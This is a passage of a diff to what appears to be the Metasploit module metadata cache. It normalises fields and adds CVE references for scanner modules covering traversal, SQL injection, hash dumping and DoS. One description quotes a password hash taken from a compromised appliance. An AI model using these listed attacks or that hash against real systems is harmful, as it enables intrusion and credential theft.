- - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/verb_auth_bypass.rb", "is_install_path": true, @@ -17903,9 +16638,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/vhost_scanner.rb", "is_install_path": true, @@ -17922,6 +16655,7 @@ ], "description": "This module exploits the WANGKONGBAO CNS-1000 and 1100 UTM appliances aka\n Network Security Platform. This directory traversal vulnerability is interesting\n because the apache server is running as root, this means we can grab anything we\n want! For instance, the /etc/shadow and /etc/passwd files for the special\n kfc:$1$SlSyHd1a$PFZomnVnzaaj3Ei2v1ByC0:15488:0:99999:7::: user", "references": [ + "CVE-2012-4031", "EDB-19526" ], "is_server": false, @@ -17929,9 +16663,7 @@ "platform": "", "arch": "", "rport": "85", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/scanner/http/wangkongbao_traversal.rb", "is_install_path": true, @@ -17955,9 +16687,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/web_vulndb.rb", "is_install_path": true, @@ -17974,16 +16704,14 @@ ], "description": "Detect webservers internal IPs though WebDAV", "references": [ - + "CVE-2002-0422" ], "is_server": false, "is_client": false, "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/scanner/http/webdav_internal_ip.rb", "is_install_path": true, @@ -18007,9 +16735,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/webdav_scanner.rb", "is_install_path": true, @@ -18033,9 +16759,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/webdav_website_content.rb", "is_install_path": true, @@ -18045,7 +16769,7 @@ "name": "WebPageTest Directory Traversal", "full_name": "auxiliary/scanner/http/webpagetest_traversal", "rank": 300, - "disclosure_date": "2012-07-13 00:00:00 -0500", + "disclosure_date": "2012-07-13", "type": "auxiliary", "author": [ "dun", @@ -18061,9 +16785,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/webpagetest_traversal.rb", "is_install_path": true, @@ -18073,7 +16795,7 @@ "name": "WildFly Directory Traversal", "full_name": "auxiliary/scanner/http/wildfly_traversal", "rank": 300, - "disclosure_date": "2014-10-22 00:00:00 -0500", + "disclosure_date": "2014-10-22", "type": "auxiliary", "author": [ "Roberto Soares Espreto " @@ -18090,9 +16812,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/wildfly_traversal.rb", "is_install_path": true, @@ -18102,7 +16822,7 @@ "name": "WordPress REST API Content Injection", "full_name": "auxiliary/scanner/http/wordpress_content_injection", "rank": 300, - "disclosure_date": "2017-02-01 00:00:00 -0600", + "disclosure_date": "2017-02-01", "type": "auxiliary", "author": [ "Marc Montpas", @@ -18110,6 +16830,7 @@ ], "description": "This module exploits a content injection vulnerability in WordPress\n versions 4.7 and 4.7.1 via type juggling in the REST API.", "references": [ + "CVE-2017-5612", "WPVDB-8734", "URL-https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html", "URL-https://secure.php.net/manual/en/language.types.type-juggling.php", @@ -18121,9 +16842,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/scanner/http/wordpress_content_injection.rb", "is_install_path": true, @@ -18133,7 +16852,7 @@ "name": "WordPress CP Multi-View Calendar Unauthenticated SQL Injection Scanner", "full_name": "auxiliary/scanner/http/wordpress_cp_calendar_sqli", "rank": 300, - "disclosure_date": "2015-03-03 00:00:00 -0600", + "disclosure_date": "2015-03-03", "type": "auxiliary", "author": [ "Joaquin Ramirez Martinez", @@ -18141,6 +16860,7 @@ ], "description": "This module will scan given instances for an unauthenticated SQL injection\n within the CP Multi-View Calendar plugin v1.1.4 for Wordpress.", "references": [ + "CVE-2014-8586", "EDB-36243", "WPVDB-7910" ], @@ -18149,9 +16869,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb", "is_install_path": true, @@ -18183,9 +16901,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb", "is_install_path": true, @@ -18213,9 +16929,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/wordpress_login_enum.rb", "is_install_path": true, @@ -18242,9 +16956,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb", "is_install_path": true, @@ -18263,6 +16975,7 @@ ], "description": "This module will scan for wordpress sites with the Pingback\n API enabled. By interfacing with the API an attacker can cause\n the wordpress site to port scan an external target and return\n results. Refer to the wordpress_pingback_portscanner module.\n This issue was fixed in wordpress 3.5.1", "references": [ + "CVE-2013-0235", "URL-http://www.securityfocus.com/archive/1/525045/30/30/threaded", "URL-http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/", "URL-https://github.com/FireFart/WordpressPingbackPortScanner" @@ -18272,9 +16985,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/scanner/http/wordpress_pingback_access.rb", "is_install_path": true, @@ -18298,9 +17009,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/wordpress_scanner.rb", "is_install_path": true, @@ -18326,9 +17035,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb", "is_install_path": true, @@ -18338,7 +17045,7 @@ "name": "WordPress Contus Video Gallery Unauthenticated SQL Injection Scanner", "full_name": "auxiliary/scanner/http/wp_contus_video_gallery_sqli", "rank": 300, - "disclosure_date": "2015-02-24 00:00:00 -0600", + "disclosure_date": "2015-02-24", "type": "auxiliary", "author": [ "Claudio Viviani", @@ -18354,9 +17061,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/wp_contus_video_gallery_sqli.rb", "is_install_path": true, @@ -18384,9 +17089,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb", "is_install_path": true, @@ -18412,9 +17115,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb", "is_install_path": true, @@ -18432,6 +17133,7 @@ ], "description": "This module exploits an information disclosure vulnerability in WordPress Plugin\n \"WP Mobile Pack\" version 2.1.2, allowing to read files with privileges\n information.", "references": [ + "CVE-2014-5337", "WPVDB-8107", "PACKETSTORM-132750" ], @@ -18440,9 +17142,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb", "is_install_path": true, @@ -18468,9 +17168,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb", "is_install_path": true, @@ -18496,9 +17194,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb", "is_install_path": true, @@ -18524,9 +17220,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb", "is_install_path": true, @@ -18553,9 +17247,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb", "is_install_path": true, @@ -18579,9 +17271,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/xpath.rb", "is_install_path": true, @@ -18591,7 +17281,7 @@ "name": "Yaws Web Server Directory Traversal", "full_name": "auxiliary/scanner/http/yaws_traversal", "rank": 300, - "disclosure_date": "2011-11-25 00:00:00 -0600", + "disclosure_date": "2011-11-25", "type": "auxiliary", "author": [ "sinn3r " @@ -18607,9 +17297,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/yaws_traversal.rb", "is_install_path": true, @@ -18633,9 +17321,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/zabbix_login.rb", "is_install_path": true, @@ -18660,9 +17346,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/zenworks_assetmanagement_fileaccess.rb", "is_install_path": true, @@ -18687,9 +17371,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/http/zenworks_assetmanagement_getconfig.rb", "is_install_path": true, @@ -18699,7 +17381,7 @@ "name": "Cisco IKE Information Disclosure", "full_name": "auxiliary/scanner/ike/cisco_ike_benigncertain", "rank": 300, - "disclosure_date": "2016-09-29 00:00:00 -0500", + "disclosure_date": "2016-09-29", "type": "auxiliary", "author": [ "Nixawk" @@ -18717,9 +17399,7 @@ "platform": "", "arch": "", "rport": "500", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.rb", "is_install_path": true, @@ -18743,9 +17423,7 @@ "platform": "", "arch": "", "rport": "143", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/imap/imap_version.rb", "is_install_path": true, @@ -18769,9 +17447,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/ip/ipidseq.rb", "is_install_path": true, @@ -18781,7 +17457,7 @@ "name": "IPMI 2.0 Cipher Zero Authentication Bypass Scanner", "full_name": "auxiliary/scanner/ipmi/ipmi_cipher_zero", "rank": 300, - "disclosure_date": "2013-06-20 00:00:00 -0500", + "disclosure_date": "2013-06-20", "type": "auxiliary", "author": [ "Dan Farmer ", @@ -18800,9 +17476,7 @@ "platform": "", "arch": "", "rport": "623", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb", "is_install_path": true, @@ -18812,7 +17486,7 @@ "name": "IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval", "full_name": "auxiliary/scanner/ipmi/ipmi_dumphashes", "rank": 300, - "disclosure_date": "2013-06-20 00:00:00 -0500", + "disclosure_date": "2013-06-20", "type": "auxiliary", "author": [ "Dan Farmer ", @@ -18831,9 +17505,7 @@ "platform": "", "arch": "", "rport": "623", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb", "is_install_path": true, @@ -18858,9 +17530,7 @@ "platform": "", "arch": "", "rport": "623", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/ipmi/ipmi_version.rb", "is_install_path": true, @@ -18885,9 +17555,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/jenkins/jenkins_udp_broadcast_enum.rb", "is_install_path": true, @@ -18911,9 +17579,7 @@ "platform": "", "arch": "", "rport": "4672", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/kademlia/server_info.rb", "is_install_path": true, @@ -18937,9 +17603,7 @@ "platform": "", "arch": "", "rport": "5355", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/llmnr/query.rb", "is_install_path": true, @@ -18956,16 +17620,14 @@ ], "description": "Get users passwords hashes from names.nsf page", "references": [ - + "CVE-2007-0977" ], "is_server": false, "is_client": false, "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb", "is_install_path": true, @@ -18989,9 +17651,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/lotus/lotus_domino_login.rb", "is_install_path": true, @@ -19015,9 +17675,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/lotus/lotus_domino_version.rb", "is_install_path": true, @@ -19041,9 +17699,7 @@ "platform": "", "arch": "", "rport": "5353", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/mdns/query.rb", "is_install_path": true, @@ -19053,7 +17709,7 @@ "name": "Memcached Stats Amplification Scanner", "full_name": "auxiliary/scanner/memcached/memcached_amp", "rank": 300, - "disclosure_date": "2018-02-27 00:00:00 -0600", + "disclosure_date": "2018-02-27", "type": "auxiliary", "author": [ "Marek Majkowski", @@ -19070,9 +17726,7 @@ "platform": "", "arch": "", "rport": "11211", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-06 16:04:00 +0000", "path": "/modules/auxiliary/scanner/memcached/memcached_amp.rb", "is_install_path": true, @@ -19082,7 +17736,7 @@ "name": "Memcached UDP Version Scanner", "full_name": "auxiliary/scanner/memcached/memcached_udp_version", "rank": 300, - "disclosure_date": "2003-07-23 00:00:00 -0500", + "disclosure_date": "2003-07-23", "type": "auxiliary", "author": [ "Jon Hart " @@ -19096,9 +17750,7 @@ "platform": "", "arch": "", "rport": "11211", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-06 18:16:22 +0000", "path": "/modules/auxiliary/scanner/memcached/memcached_udp_version.rb", "is_install_path": true, @@ -19122,9 +17774,7 @@ "platform": "", "arch": "", "rport": "5920", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/misc/cctv_dvr_login.rb", "is_install_path": true, @@ -19153,9 +17803,7 @@ "platform": "", "arch": "", "rport": "4786", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-21 21:33:29 +0000", "path": "/modules/auxiliary/scanner/misc/cisco_smart_install.rb", "is_install_path": true, @@ -19165,7 +17813,7 @@ "name": "ClamAV Remote Command Transmitter", "full_name": "auxiliary/scanner/misc/clamav_control", "rank": 300, - "disclosure_date": "2016-06-08 00:00:00 -0500", + "disclosure_date": "2016-06-08", "type": "auxiliary", "author": [ "Alejandro Hdeza", @@ -19182,9 +17830,7 @@ "platform": "", "arch": "", "rport": "3310", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/misc/clamav_control.rb", "is_install_path": true, @@ -19212,9 +17858,7 @@ "platform": "", "arch": "", "rport": "37777", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb", "is_install_path": true, @@ -19240,9 +17884,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb", "is_install_path": true, @@ -19267,9 +17909,7 @@ "platform": "", "arch": "", "rport": "831", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb", "is_install_path": true, @@ -19294,9 +17934,7 @@ "platform": "", "arch": "", "rport": "3050", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb", "is_install_path": true, @@ -19306,7 +17944,7 @@ "name": "Java RMI Server Insecure Endpoint Code Execution Scanner", "full_name": "auxiliary/scanner/misc/java_rmi_server", "rank": 300, - "disclosure_date": "2011-10-15 00:00:00 -0500", + "disclosure_date": "2011-10-15", "type": "auxiliary", "author": [ "mihi", @@ -19323,9 +17961,7 @@ "platform": "", "arch": "", "rport": "1099", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/misc/java_rmi_server.rb", "is_install_path": true, @@ -19349,9 +17985,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/misc/oki_scanner.rb", "is_install_path": true, @@ -19375,9 +18009,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/misc/poisonivy_control_scanner.rb", "is_install_path": true, @@ -19402,9 +18034,7 @@ "platform": "", "arch": "", "rport": "9000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb", "is_install_path": true, @@ -19428,9 +18058,7 @@ "platform": "", "arch": "", "rport": "13364", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb", "is_install_path": true, @@ -19440,7 +18068,7 @@ "name": "SerComm Network Device Backdoor Detection", "full_name": "auxiliary/scanner/misc/sercomm_backdoor_scanner", "rank": 300, - "disclosure_date": "2013-12-31 00:00:00 -0600", + "disclosure_date": "2013-12-31", "type": "auxiliary", "author": [ "Eloi Vanderbeken ", @@ -19457,9 +18085,7 @@ "platform": "", "arch": "", "rport": "32764", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/misc/sercomm_backdoor_scanner.rb", "is_install_path": true, @@ -19483,9 +18109,7 @@ "platform": "", "arch": "", "rport": "111", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb", "is_install_path": true, @@ -19512,9 +18136,7 @@ "platform": "", "arch": "", "rport": "998", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb", "is_install_path": true, @@ -19539,9 +18161,7 @@ "platform": "", "arch": "", "rport": "27017", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-22 08:03:12 +0000", "path": "/modules/auxiliary/scanner/mongodb/mongodb_login.rb", "is_install_path": true, @@ -19551,7 +18171,7 @@ "name": "Motorola Timbuktu Service Detection", "full_name": "auxiliary/scanner/motorola/timbuktu_udp", "rank": 300, - "disclosure_date": "2009-09-25 00:00:00 -0500", + "disclosure_date": "2009-09-25", "type": "auxiliary", "author": [ "MC " @@ -19565,9 +18185,7 @@ "platform": "", "arch": "", "rport": "407", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/motorola/timbuktu_udp.rb", "is_install_path": true, @@ -19591,9 +18209,7 @@ "platform": "", "arch": "", "rport": "1883", - "targets": [ - - ], + "targets": null, "mod_time": "2017-12-20 18:44:43 +0000", "path": "/modules/auxiliary/scanner/mqtt/connect.rb", "is_install_path": true, @@ -19617,9 +18233,7 @@ "platform": "", "arch": "", "rport": "55553", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-14 06:34:04 +0000", "path": "/modules/auxiliary/scanner/msf/msf_rpc_login.rb", "is_install_path": true, @@ -19643,9 +18257,7 @@ "platform": "", "arch": "", "rport": "3790", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/msf/msf_web_login.rb", "is_install_path": true, @@ -19669,9 +18281,7 @@ "platform": "", "arch": "", "rport": "1433", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/mssql/mssql_hashdump.rb", "is_install_path": true, @@ -19695,9 +18305,7 @@ "platform": "", "arch": "", "rport": "1433", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/mssql/mssql_login.rb", "is_install_path": true, @@ -19721,9 +18329,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/mssql/mssql_ping.rb", "is_install_path": true, @@ -19747,9 +18353,7 @@ "platform": "", "arch": "", "rport": "1433", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-31 14:08:27 +0000", "path": "/modules/auxiliary/scanner/mssql/mssql_schemadump.rb", "is_install_path": true, @@ -19759,7 +18363,7 @@ "name": "MySQL Authentication Bypass Password Dump", "full_name": "auxiliary/scanner/mysql/mysql_authbypass_hashdump", "rank": 300, - "disclosure_date": "2012-06-09 00:00:00 -0500", + "disclosure_date": "2012-06-09", "type": "auxiliary", "author": [ "theLightCosine ", @@ -19776,9 +18380,7 @@ "platform": "", "arch": "", "rport": "3306", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb", "is_install_path": true, @@ -19803,9 +18405,7 @@ "platform": "", "arch": "", "rport": "3306", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/mysql/mysql_file_enum.rb", "is_install_path": true, @@ -19829,9 +18429,7 @@ "platform": "", "arch": "", "rport": "3306", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-08 13:48:24 +0000", "path": "/modules/auxiliary/scanner/mysql/mysql_hashdump.rb", "is_install_path": true, @@ -19855,9 +18453,7 @@ "platform": "", "arch": "", "rport": "3306", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/mysql/mysql_login.rb", "is_install_path": true, @@ -19881,9 +18477,7 @@ "platform": "", "arch": "", "rport": "3306", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/mysql/mysql_schemadump.rb", "is_install_path": true, @@ -19907,9 +18501,7 @@ "platform": "", "arch": "", "rport": "3306", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/mysql/mysql_version.rb", "is_install_path": true, @@ -19933,9 +18525,7 @@ "platform": "", "arch": "", "rport": "3306", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/mysql/mysql_writable_dirs.rb", "is_install_path": true, @@ -19959,9 +18549,7 @@ "platform": "", "arch": "", "rport": "5351", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb", "is_install_path": true, @@ -19985,9 +18573,7 @@ "platform": "", "arch": "", "rport": "1241", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-20 21:25:34 +0000", "path": "/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb", "is_install_path": true, @@ -20011,9 +18597,7 @@ "platform": "", "arch": "", "rport": "8834", - "targets": [ - - ], + "targets": null, "mod_time": "2017-10-14 11:16:41 +0000", "path": "/modules/auxiliary/scanner/nessus/nessus_rest_login.rb", "is_install_path": true, @@ -20037,9 +18621,7 @@ "platform": "", "arch": "", "rport": "8834", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb", "is_install_path": true, @@ -20063,9 +18645,7 @@ "platform": "", "arch": "", "rport": "8834", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/nessus/nessus_xmlrpc_ping.rb", "is_install_path": true, @@ -20089,9 +18669,7 @@ "platform": "", "arch": "", "rport": "137", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/netbios/nbname.rb", "is_install_path": true, @@ -20115,9 +18693,7 @@ "platform": "", "arch": "", "rport": "3780", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb", "is_install_path": true, @@ -20142,9 +18718,7 @@ "platform": "", "arch": "", "rport": "111", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/nfs/nfsmount.rb", "is_install_path": true, @@ -20171,9 +18745,7 @@ "platform": "", "arch": "", "rport": "119", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/nntp/nntp_login.rb", "is_install_path": true, @@ -20200,9 +18772,7 @@ "platform": "", "arch": "", "rport": "123", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/ntp/ntp_monlist.rb", "is_install_path": true, @@ -20230,9 +18800,7 @@ "platform": "", "arch": "", "rport": "123", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb", "is_install_path": true, @@ -20242,7 +18810,7 @@ "name": "NTP Mode 7 PEER_LIST DoS Scanner", "full_name": "auxiliary/scanner/ntp/ntp_peer_list_dos", "rank": 300, - "disclosure_date": "2014-08-25 00:00:00 -0500", + "disclosure_date": "2014-08-25", "type": "auxiliary", "author": [ "Jon Hart " @@ -20258,9 +18826,7 @@ "platform": "", "arch": "", "rport": "123", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb", "is_install_path": true, @@ -20270,7 +18836,7 @@ "name": "NTP Mode 7 PEER_LIST_SUM DoS Scanner", "full_name": "auxiliary/scanner/ntp/ntp_peer_list_sum_dos", "rank": 300, - "disclosure_date": "2014-08-25 00:00:00 -0500", + "disclosure_date": "2014-08-25", "type": "auxiliary", "author": [ "Jon Hart " @@ -20286,9 +18852,7 @@ "platform": "", "arch": "", "rport": "123", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb", "is_install_path": true, @@ -20314,9 +18878,7 @@ "platform": "", "arch": "", "rport": "123", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/ntp/ntp_readvar.rb", "is_install_path": true, @@ -20326,7 +18888,7 @@ "name": "NTP Mode 6 REQ_NONCE DRDoS Scanner", "full_name": "auxiliary/scanner/ntp/ntp_req_nonce_dos", "rank": 300, - "disclosure_date": "2014-08-25 00:00:00 -0500", + "disclosure_date": "2014-08-25", "type": "auxiliary", "author": [ "Jon Hart " @@ -20342,9 +18904,7 @@ "platform": "", "arch": "", "rport": "123", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb", "is_install_path": true, @@ -20354,7 +18914,7 @@ "name": "NTP Mode 7 GET_RESTRICT DRDoS Scanner", "full_name": 